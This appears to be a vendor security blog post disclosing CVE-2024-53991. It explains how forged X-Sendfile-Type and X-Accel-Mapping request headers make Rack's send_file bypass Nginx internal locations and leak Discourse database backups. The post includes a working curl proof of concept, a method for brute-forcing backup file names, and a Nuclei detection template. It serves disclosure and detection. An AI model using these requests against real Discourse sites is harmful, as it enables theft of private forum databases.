-

8 min read

CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk

CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk

Introduction

Modern web applications rely on middleware and web server configurations to efficiently handle file delivery while maintaining security. In the Ruby ecosystem, the send_file method in Rack and Rails is a widely used mechanism that can offload file serving to web servers like Nginx and Apache, improving performance and scalability. However, when used in conjunction with Nginx’s internal directive, a feature designed to restrict access to sensitive resources, unexpected security flaws can emerge.

In this blog, we explore a subtle yet impactful interaction between Rack/Rails and Nginx that can inadvertently expose restricted endpoints. Specifically, we examine how the send_file method, when paired with certain Nginx configurations, can bypass access controls under specific conditions, turning a security feature into a potential attack vector.

To highlight the real-world implications, we analyze Discourse, a popular Rails-based forum platform. We demonstrate how predictable backup file naming patterns, combined with this send_file behavior and a particular Nginx setup, can unintentionally expose sensitive data—such as Discourse database backups—posing a serious risk to affected deployments. This vulnerability has been assigned CVE-2024-53991.

What is X-Accel-Redirect in Nginx?

The X-Accel-Redirect header in Nginx enables controlled access to internal resources by leveraging specially designated location blocks. These location blocks are marked with the internal directive, which restricts them from being directly accessed by external clients.

The internal directive of Nginx is used to specify that a particular location block should only process requests generated by Nginx itself. This does not mean requests originating from localhost or specific IP addresses—it specifically refers to requests initiated internally by Nginx as a result of its processing logic.

Only requests generated by Nginx during its handling of another request (e.g., due to request rewrite or via the X-Accel-Redirect header) can access the internal location.

How Does X-Accel-Redirect Work?

The X-Accel-Redirect header is a mechanism for Nginx to route an incoming request to an internal location block. When Nginx encounters this header in a response from an upstream server (e.g., a web application or backend), it interprets the header’s value as the new URI and internally redirects the request to that URI. If the target URI corresponds to an internal location, the resources in that location can now be served.

An example configuration would be:

`

1location ~ /files/(.*) {
2    internal;
3    alias /var/www/$1;
4}

Example flow of requests:

  • A client sends a request to an external endpoint, for example, /download.
  • The /download endpoint is handled by an upstream server (e.g., a backend application) that processes the request and returns a response with the header:

    X-Accel-Redirect: /files/example.txt
  • Nginx sees the X-Accel-Redirect header and internally routes the request to /files/example.txt.
  • The location ~ /files/(.*) block is triggered, allowing Nginx to serve the file /var/www/example.txt from the filesystem.

When Rack Sends, Sh*t Breaks:

We were reviewing web frameworks that utilize X-Sendfile or X-Accel-Redirect headers in their file-serving functions to enable optimized file handling through web servers like Nginx or Apache.

One of the frameworks we analyzed was Rack, specifically its send_file function, which incorporates these headers for efficient file delivery. Since Rack middleware is a core component of Rails, we also examined its implementation in detail. During this review, we identified a notable issue—or perhaps a quirk.

Here's how the implementaiton for the same looks like:

ruby

1class Sendfile
2    def initialize(app, variation = nil, mappings = [])
3      ...
4      @mappings = mappings.map do |internal, external|
5        [/^#{internal}/i, external]
6      end
7    end
8
9    def call(env)
10      _, headers, body = response = @app.call(env)
11
12      if body.respond_to?(:to_path)
13        case type = variation(env) # value of x-sendfile-type header
14        when /x-accel-redirect/i # [1]
15          path = ::File.expand_path(body.to_path) // expand the full path to the file.
16          if url = map_accel_path(env, path)
17            headers[CONTENT_LENGTH] = '0'
18            # '?' must be percent-encoded because it is not query string but a part of path
19            headers[type.downcase] = ::Rack::Utils.escape_path(url).gsub('?', '%3F') # [3]
20            obody = body
21            response[2] = Rack::BodyProxy.new([]) do
22              obody.close if obody.respond_to?(:close)
23            end
24          else
25            env[RACK_ERRORS].puts "x-accel-mapping header missing"
26          end
27          ...
28        when '', nil
29        else
30          env[RACK_ERRORS].puts "Unknown x-sendfile variation: '#{type}'.\n"
31        end
32      end
33      response
34    end
35
36    private
37    def variation(env)
38      @variation ||
39        env['sendfile.type'] ||
40        env['HTTP_X_SENDFILE_TYPE']
41    end
42end

Rack handles this by inspecting the value of the X-Sendfile-Type request header. At [1] in the implementation, if the header’s value is x-accel-redirect, the code logic proceeds to retrieve the full path to the file on the filesystem using body.to_path. It then calls the map_accel_path method to translate this filesystem path into an URL suitable for use with Nginx.

ruby

1def map_accel_path(env, path)
2  if mapping = @mappings.find { |internal, _| internal =~ path }
3    path.sub(*mapping)
4  elsif mapping = env['HTTP_X_ACCEL_MAPPING']
5    mapping.split(',').map(&:strip).each do |m|
6      internal, external = m.split('=', 2).map(&:strip)
7      new_path = path.sub(/^#{internal}/i, external) # [2]
8      return new_path unless path == new_path
9    end
10    path
11  end
12end

In the map_accel_path method, Rack processes another request header, X-Accel-Mapping. The value of this header is split at the = character, where the first part becomes the internal filesystem path and the second part becomes the external path. Rack then uses a regular expression substitution at [2] to replace the internal portion of the file’s full filesystem path with the corresponding external nginx location path.

The newly substituted path (or URL) is then used to set the X-Accel-Redirect response header. This header is intercepted by Nginx, which makes an internal request to the mapped URL and serves the corresponding file to the client, bypassing direct access to the original file path on the server.

Example:

If the following header is present, x-accel-mapping: .*=/secret, full path of the request file matched by /^.*/ will be replaced with /secret at line [2]. Then, at line [3], the value of x-accel-redirect response header is set to this new value /secret . Once, this is done, Nginx will automatically make an internal request to /secret endpoint and will respond back.

Therefore, the pre-requisite for this misconfiguration to be exploitable would be:

  • Rails' send_file or Rack's Rack::Sendfile method is used.
  • Nginx configuration with internal directive that leaks something sensitive.

Discourse: Backup File Disclosure Via Default Nginx Configuration

Discourse, a popular Ruby on Rails-based community discussion platform, uses the send_file method in various parts of its application to serve files efficiently. During our review, we explored potential unauthenticated routes utilizing send_file, as well as the default Nginx configuration provided by Discourse, to identify any potential misconfigurations.

While analyzing the source code, we found that the StylesheetsController uses the send_file method to serve CSS files. At first glance, this controller appeared interesting because it skips several authentication checks:

ruby

1class StylesheetsController < ApplicationController
2  skip_before_action :preload_json,
3                     :redirect_to_login_if_required,
4                     :redirect_to_profile_if_required,
5                     :check_xhr,
6                     :verify_authenticity_token,
7                     only: %i[show show_source_map color_scheme]
8
9  before_action :apply_cdn_headers, only: %i[show show_source_map color_scheme]
10
11  ...
12
13  def show
14    is_asset_path
15
16    show_resource # [4]
17  end
18
19  protected
20
21  def show_resource(source_map: false)
22    ...
23    send_file(location, disposition: :inline) # [5]
24  end
25end

As seen above, the show action skips authentication checks, allowing unauthenticated users to access it. The show_resource method ultimately calls send_file at [5] to serve files, making this a potential candidate for file disclosure.

We reviewed Discourse’s default Nginx configuration to identify any sensitive or interesting configurations. Discourse places its backups directory within the Rails public directory, which is globally accessible. This directory holds Discourse’s database backups and is highly sensitive. However, the default Nginx configuration prevents direct access to the backups using the internal directive, which restricts the /backups/ route:

nginx

1# Path to Discourse's public directory
2set $public /var/www/discourse/public;
3
4# Prevent direct download of backups
5location ^~ /backups/ {
6    internal;
7}
8
9# Another internal route mapped to the public directory
10location /downloads/ {
11    internal;
12    alias $public/;
13}
  • The /backups/ route is protected by the internal directive, ensuring that backup files cannot be accessed directly by external users.
  • The /downloads/ route, which maps to the public directory, is also marked as internal, further restricting access.

This satisfies the prerequisite for exploiting file disclosure: an Nginx configuration with internal directives protecting sensitive directories.

Exploiting Backup File Disclosure

While the Nginx configuration prevents direct access to backups, Discourse’s use of Rails’ send_file method for file-serving combined with predictable backup file naming conventions can still allow attackers to leak backup files. The second requirement for exploitation is the ability to bruteforce backup file names efficiently. Based on Discourse’s default behavior and naming patterns, backup file names can be derived using the following logic:

<site-name>-YYYY-MM-DD-HHMMSS-v<Migration_Stamp>.tar.gz

  • Site Name: This can be obtained from the website’s title, call Rail's parameterize method on the string.
  • Date of Backup (YYYY-MM-DD): Discourse by default creates backups every 7 days.
  • Time of Backup (HHMMSS): Time is in a 24-hour format with a specific timestamp (e.g., 002005). This can also be bruteforced with approximately 86,400 combinations (total requests for a day).
  • Migration Stamp (v<Migration_Stamp>): The migration stamp corresponds to the Git commit version and associated migration timestamp in the /db/migrate/ directory. Discourse publicly discloses the current Git commit hash on its homepage, which can be used to derive this value of the targeted discourse instance.
Proof of Concept:

curl -k -o db.tar.gz -H 'X-Sendfile-Type: X-Accel-Redirect' -H 'X-Accel-Mapping: .*=/downloads/backups/default/projectdiscovery-discourse-2024-11-15-002501-v20241112145744.tar.gz' -H 'Cache-Control: max-age=0' 'https://discourse.projectdiscovery.io/stylesheets/discourse-local-dates_2395204b3c92cea17bdcc4e554cc7d12e032b555.css?cb=1'

Nuclei Template

The Nuclei template used to detect this vulnerability is available on GitHub and the ProjectDiscovery Platform.

yaml

1id: CVE-2024-53991
2
3info:
4  name: Discourse Backup File Disclosure Via Default Nginx Configuration
5  author: iamnoooob,rootxharsh,pdresearch
6  severity: high
7  description: |
8    Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
9  remediation: |
10    This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or  2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.
11  reference:
12    - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
13    - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
14  classification:
15    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
16    cvss-score: 7.5
17    cve-id: CVE-2024-53991
18    cwe-id: CWE-200
19    epss-score: 0.00121
20    epss-percentile: 0.28736
21  metadata:
22    shodan-query: http.component:"Discourse"
23  tags: cve,cve2024,discourse,disclosure
24
25http:
26  - raw:
27      - |
28        GET / HTTP/1.1
29        Host: {{Hostname}}
30
31    extractors:
32      - type: regex
33        part: body
34        name: styles
35        group: 1
36        regex:
37          - 'href="(/stylesheets/discourse-.*?)"'
38        internal: true
39
40  - raw:
41      - |
42        GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
43        Host: {{Hostname}}
44        X-Sendfile-Type: X-Accel-Redirect
45        X-Accel-Mapping: .*=/downloads/backups/default/
46
47    matchers:
48      - type: dsl
49        dsl:
50          - 'status_code == 403'
51          - 'contains(content_type, "text/html")'
52          - 'contains(response, "discourse")'
53        condition: and

Disclosure Timeline

                    Date                     Event
17th November 2024 ProjectDiscovery discovers the misconfiguration and responsibly reported it to the Discourse team.
25th November 2024 Discourse team triaged the report and acknowledged the issue.
19th December 2024 The vulnerability was marked as resolved by the Discourse team.
20th March 2025 After the standard 90-day disclosure period, the blog post with vulnerability details was publicly disclosed.

Conclusion

This case study highlights how seemingly robust security mechanisms can introduce unintended vulnerabilities when their interactions are not fully understood. The combination of Rack’s send_file method and Nginx’s internal directive serves as a reminder that security is not just about enabling protective measures but ensuring they are configured correctly to prevent unintended access.

To help security teams identify and mitigate this issue in their Discourse deployment, we have created a Nuclei template that automates the detection of misconfigurations leading to file exposure. This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to proactively scan for this vulnerability as part of their continuous security assessments.